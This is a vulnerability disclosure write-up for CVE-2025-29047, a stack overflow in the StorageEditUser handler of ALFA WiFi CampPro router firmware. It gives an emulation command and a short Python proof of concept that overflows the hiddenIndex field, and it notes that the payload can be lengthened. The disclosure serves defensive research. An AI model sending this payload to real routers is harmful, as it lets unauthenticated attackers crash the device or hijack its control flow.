ALFA-WiFi-CampPro-StorageEditUser-hiddenIndex.md

ALFA WiFi CampPro-StorageEditUser-hiddenIndex

Vulnerability Details

• Affected Firmware: ALFA_CAMPRO-co-2.29
• CVE-ID: CVE-2025-29047
• Root Cause: By analyzing the goahead file in the bin directory, I found that the function StorageEditUser contains a stack overflow vulnerability.
• Impact: Remote unauthenticated attackers can hijack the program's control flow.

Vendor Information

• Vendor Website: https://www.alfa.com.tw/
• Affected Firmware Download: goahead

During my internship at Qi An Xin Tiangong Lab, I discovered a stack overflow vulnerability in the ALFA WiFi CampPro router.

By analyzing the goahead file in the bin directory, I found that the function StorageEditUser contains a stack overflow vulnerability.

The stack overflow can be triggered by the hiddenIndex key value, which leads to a sprintf stack overflow.

How can we simulate a router

Use the following command to simulate with qemu-mipsel-static.

sudo qemu-mipsel-static -L ./ ./bin/goahead

The content of the poc.py file is as follows:

import requests
url = "http://127.0.0.1/goform/StorageEditUser"
data = {
        "hiddenIndex": "a"*0x100
}

res = requests.post(url,data=data)
print(res.text)

Attack result

One can see that his stack space is 0x48.

After execution, it overflows to 0x0x128. If you want to overflow more, you can modify the hiddenIndex skey value in the code.